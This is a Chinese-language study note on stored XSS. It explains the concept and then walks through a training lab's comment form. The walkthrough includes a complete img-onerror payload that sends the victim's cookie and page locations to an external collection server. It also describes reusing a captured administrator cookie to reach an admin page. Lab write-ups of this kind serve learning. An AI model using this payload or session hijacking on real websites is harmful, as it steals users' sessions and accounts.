一、前记

在这篇文章之间,我们已经回顾了一下三种XSS的基本概念(在XSS学习笔记(1))中。现在想记录一下XSS Store,因为它的危害较为广泛,且比较容易中招。

二、存储型XSS是如何对我们产生危害的?

1.      在留言版插入含有恶意代码的HTML或者JavaScript代码。

2.      留言板的内容会被储存到网站数据库里面。

3.      另一个用户也访问了该网站的留言板的内容,黑客的留言板内容被当作脚本被执行。

以上的步骤逐渐对实际善良的用户来讲是一种无辜的躺枪。

三、存储型XSS的特点

1.      持续时间长:只要一直存在于网站的数据库里面,他的那一串代码都会一直产生影响。

2.      受害人群广泛:因为不针对任意的某一个群体,受害者只要登陆这个网站加载出这个留言板内容就会出现加载脚本的情况。

3.      受害程度不一:受害程度是根据脚本的情况而决定的。

四、存储型XSS的实施步骤

图解步骤‌

五、BUU_XSS_Course

使用了北京联合大学的一个XSS靶场(在此感谢glzjin师傅,提供了一个非常完美的教学靶场)

第一步:首先登录靶场,发现是一个树洞提交文档处,也就是相当于一个博客的评论提交的地方,可以进行xss脚本的提交和存储。

初始页面

随意提交之后的一个路径

随意提交的1234会出现内容

我们可以输入不同的标签来检测是否存在xss点,譬如<script>alert的JavaScript标签,还有<img src=""/>的HTML标签等等,在这个实验里面我们使用两种不一样的方式

第二步:验证是否存在XSS点,首先来试着JavaScript的<script>alert("aaaaa")</script>来进行验证,发现alert弹窗出现,在控制台里面也没有什么提示出现,无果。然后我们使用HTML里面的<img src=""/>标签,如果出现了特定的图片,那么就存在XSS点。‌

插入<script>
没有弹窗出现
插入<img/>标签
有图片生成,<img/>标签可以使用

第三步:检测到有XSS点存在之后,我们可以进行有目的地构造脚本。因为我们希望对这个网站的危害化最大,因此可以选择存储型XSS(XSS Store)。在这里我们还需要一个接收存储型XSS的平台,在这里我选择的是赵师傅的XSS平台(xss.buuoj.cn),创建项目,创建代码,将几个选项全部勾上,会出现一个代码样本,在这里我们需要注意的是:id的值改成自己的,前面的ip:port改成BUU树洞的URL。

在这里我们还要选择一个能够XSS的标签因为<img src=""/>这个可以使用,于是我们选择这个标签作为XSS的标签。有关于<img>标签还有一个知识点:

如果在加载或渲染图像时发生错误,且设置了至少一个 onerror 事件处理器来处理 error 事件,那么设置的事件处理器就会被调用。也就是<img src="出错" onerror="执行"/>

因此总的payload为:

<img src="aaaaa" onerror="(function(){(new Image()).src='http://ip:port/index.php?do=api&id=aaaaa&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();/>

第四步:在xss平台上面可以看到机器人管理员浏览时候的管理员cookie

发现本地的cookie和管理员cookie,还可以看到管理员访问了URL/backend/admin.php这个页面,可以替换成管理员的cookie之后再去访问这个页面

没有管理员权限的情况下
有管理员的情况下